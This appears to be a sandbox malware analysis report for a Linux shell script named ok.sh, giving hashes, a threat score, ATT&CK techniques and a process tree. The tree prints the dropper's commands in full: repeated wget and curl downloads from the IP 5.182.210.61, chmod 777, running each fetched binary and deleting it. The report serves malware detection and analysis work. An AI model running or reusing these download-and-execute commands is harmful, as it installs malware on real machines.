0bc4cf3fed9fd5c474fd5a3cfd4b8b47b3f559942eeecad0066bb507a1e0e25f

Analysis

max time kernel
57s
max time network
59s
platform
debian-9_mipsel
resource
debian9-mipsel-20260513-en
resource tags

arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
22/06/2026, 16:25

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ok.sh
Size 1KB
Sample260622-txecases7k
SHA256 0bc4cf3fed9fd5c474fd5a3cfd4b8b47b3f559942eeecad0066bb507a1e0e25f
MD5 2fe3d750709af03393841e535a0c38ef
SHA1 8e75b2d56b133b2ed15ccd29dd628c113300900e
SHA512 81cf13f76737fdbfe2262eb582a632d3f8d681678a4b0cdadaf8d7e0e07e88791459d424cd60b1b4b6dc95d8578ad1b633991c6bfc2399309630cdd0751d5272
TLSH
T1DC310C9F00106F792257CADE77B33948780CC2FF2C8BD7A499480EA986495C8B5A5BE5
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 12 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
890	chmod
759	chmod
783	chmod
828	chmod
839	chmod
846	chmod
883	chmod
897	chmod
730	chmod
747	chmod
766	chmod
805	chmod

Executes dropped EXE 12 IoCs

ioc	pid	Process
/tmp/3dfa29	732	ok.sh
/tmp/c482f7	752	ok.sh
/tmp/1453be	760	ok.sh
/tmp/76f105	767	ok.sh
/tmp/5eab74	784	ok.sh
/tmp/259653	806	ok.sh
/tmp/e5a1f7	830	ok.sh
/tmp/fa906b	840	ok.sh
/tmp/d34e03	847	ok.sh
/tmp/37bdbc	884	ok.sh
/tmp/7ceda2	891	ok.sh
/tmp/21ab20	898	ok.sh

Reads runtime system information 12 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/fa906b	curl
File opened for modification	/tmp/7ceda2	curl
File opened for modification	/tmp/21ab20	curl
File opened for modification	/tmp/3dfa29	curl
File opened for modification	/tmp/c482f7	curl
File opened for modification	/tmp/1453be	curl
File opened for modification	/tmp/76f105	curl
File opened for modification	/tmp/e5a1f7	curl
File opened for modification	/tmp/d34e03	curl
File opened for modification	/tmp/37bdbc	curl
File opened for modification	/tmp/5eab74	curl
File opened for modification	/tmp/259653	curl

/tmp/ok.sh
/tmp/ok.sh
1⤵
- Executes dropped EXE
PID:714
- /usr/bin/wget
  wget http://5.182.210.61/3dfa29
  2⤵
  PID:717
- /usr/bin/curl
  curl -O http://5.182.210.61/3dfa29
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:726
- /bin/chmod
  chmod 777 3dfa29
  2⤵
  - File and Directory Permissions Modification
  PID:730
- /tmp/3dfa29
  ./3dfa29 bc
  2⤵
  PID:732
- /bin/rm
  rm -rf 3dfa29
  2⤵
  PID:736
- /bin/rm
  rm -rf 3dfa29.1
  2⤵
  PID:738
- /usr/bin/wget
  wget http://5.182.210.61/c482f7
  2⤵
  PID:740
- /usr/bin/curl
  curl -O http://5.182.210.61/c482f7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:743
- /bin/chmod
  chmod 777 c482f7
  2⤵
  - File and Directory Permissions Modification
  PID:747
- /tmp/c482f7
  ./c482f7 bc
  2⤵
  PID:752
- /bin/rm
  rm -rf c482f7
  2⤵
  PID:754
- /bin/rm
  rm -rf c482f7.1
  2⤵
  PID:755
- /usr/bin/wget
  wget http://5.182.210.61/1453be
  2⤵
  PID:756
- /usr/bin/curl
  curl -O http://5.182.210.61/1453be
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:758
- /bin/chmod
  chmod 777 1453be
  2⤵
  - File and Directory Permissions Modification
  PID:759
- /tmp/1453be
  ./1453be bc
  2⤵
  PID:760
- /bin/rm
  rm -rf 1453be
  2⤵
  PID:762
- /bin/rm
  rm -rf 1453be.1
  2⤵
  PID:763
- /usr/bin/wget
  wget http://5.182.210.61/76f105
  2⤵
  PID:764
- /usr/bin/curl
  curl -O http://5.182.210.61/76f105
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:765
- /bin/chmod
  chmod 777 76f105
  2⤵
  - File and Directory Permissions Modification
  PID:766
- /tmp/76f105
  ./76f105 bc
  2⤵
  PID:767
- /bin/rm
  rm -rf 76f105
  2⤵
  PID:769
- /bin/rm
  rm -rf 76f105.1
  2⤵
  PID:770
- /usr/bin/wget
  wget http://5.182.210.61/5eab74
  2⤵
  PID:771
- /usr/bin/curl
  curl -O http://5.182.210.61/5eab74
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:774
- /bin/chmod
  chmod 777 5eab74
  2⤵
  - File and Directory Permissions Modification
  PID:783
- /tmp/5eab74
  ./5eab74 bc
  2⤵
  PID:784
- /bin/rm
  rm -rf 5eab74
  2⤵
  PID:787
- /bin/rm
  rm -rf 5eab74.1
  2⤵
  PID:789
- /usr/bin/wget
  wget http://5.182.210.61/259653
  2⤵
  PID:790
- /usr/bin/curl
  curl -O http://5.182.210.61/259653
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:796
- /bin/chmod
  chmod 777 259653
  2⤵
  - File and Directory Permissions Modification
  PID:805
- /tmp/259653
  ./259653 bc
  2⤵
  PID:806
- /bin/rm
  rm -rf 259653
  2⤵
  PID:809
- /bin/rm
  rm -rf 259653.1
  2⤵
  PID:810
- /usr/bin/wget
  wget http://5.182.210.61/e5a1f7
  2⤵
  PID:811
- /usr/bin/curl
  curl -O http://5.182.210.61/e5a1f7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:818
- /bin/chmod
  chmod 777 e5a1f7
  2⤵
  - File and Directory Permissions Modification
  PID:828
- /tmp/e5a1f7
  ./e5a1f7 bc
  2⤵
  PID:830
- /bin/rm
  rm -rf e5a1f7
  2⤵
  PID:833
- /bin/rm
  rm -rf e5a1f7.1
  2⤵
  PID:834
- /usr/bin/wget
  wget http://5.182.210.61/fa906b
  2⤵
  PID:835
- /usr/bin/curl
  curl -O http://5.182.210.61/fa906b
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:838
- /bin/chmod
  chmod 777 fa906b
  2⤵
  - File and Directory Permissions Modification
  PID:839
- /tmp/fa906b
  ./fa906b bc
  2⤵
  PID:840
- /bin/rm
  rm -rf fa906b
  2⤵
  PID:842
- /bin/rm
  rm -rf fa906b.1
  2⤵
  PID:843
- /usr/bin/wget
  wget http://5.182.210.61/d34e03
  2⤵
  PID:844
- /usr/bin/curl
  curl -O http://5.182.210.61/d34e03
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:845
- /bin/chmod
  chmod 777 d34e03
  2⤵
  - File and Directory Permissions Modification
  PID:846
- /tmp/d34e03
  ./d34e03 bc
  2⤵
  PID:847
- /bin/rm
  rm -rf d34e03
  2⤵
  PID:849
- /bin/rm
  rm -rf d34e03.1
  2⤵
  PID:850
- /usr/bin/wget
  wget http://5.182.210.61/37bdbc
  2⤵
  PID:851
- /usr/bin/curl
  curl -O http://5.182.210.61/37bdbc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:852
- /bin/chmod
  chmod 777 37bdbc
  2⤵
  - File and Directory Permissions Modification
  PID:883
- /tmp/37bdbc
  ./37bdbc bc
  2⤵
  PID:884
- /bin/rm
  rm -rf 37bdbc
  2⤵
  PID:886
- /bin/rm
  rm -rf 37bdbc.1
  2⤵
  PID:887
- /usr/bin/wget
  wget http://5.182.210.61/7ceda2
  2⤵
  PID:888
- /usr/bin/curl
  curl -O http://5.182.210.61/7ceda2
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:889
- /bin/chmod
  chmod 777 7ceda2
  2⤵
  - File and Directory Permissions Modification
  PID:890
- /tmp/7ceda2
  ./7ceda2 bc
  2⤵
  PID:891
- /bin/rm
  rm -rf 7ceda2
  2⤵
  PID:893
- /bin/rm
  rm -rf 7ceda2.1
  2⤵
  PID:894
- /usr/bin/wget
  wget http://5.182.210.61/21ab20
  2⤵
  PID:895
- /usr/bin/curl
  curl -O http://5.182.210.61/21ab20
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:896
- /bin/chmod
  chmod 777 21ab20
  2⤵
  - File and Directory Permissions Modification
  PID:897
- /tmp/21ab20
  ./21ab20 bc
  2⤵
  PID:898
- /bin/rm
  rm -rf 21ab20
  2⤵
  PID:900
- /bin/rm
  rm -rf 21ab20.1
  2⤵
  PID:901

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

3dfa29

Path /tmp/3dfa29
Size 19B
SHA256 b16e15764b8bc06c5c3f9f19bc8b99fa48e7894aa5a6ccdad65da49bbf564793
MD5 595e88012a6521aae3e12cbebe76eb9e
SHA1 da3968197e7bf67aa45a77515b52ba2710c5fc34
SHA512 fd13c580d15cc5e8b87d97ead633209930e00e85c113c776088e246b47f140efe99bdf6ab02070677445db65410f7e62ec23c71182f9f78e9d0e1b9f7fda0dc3
MD5 SHA1 SHA512

Submit Download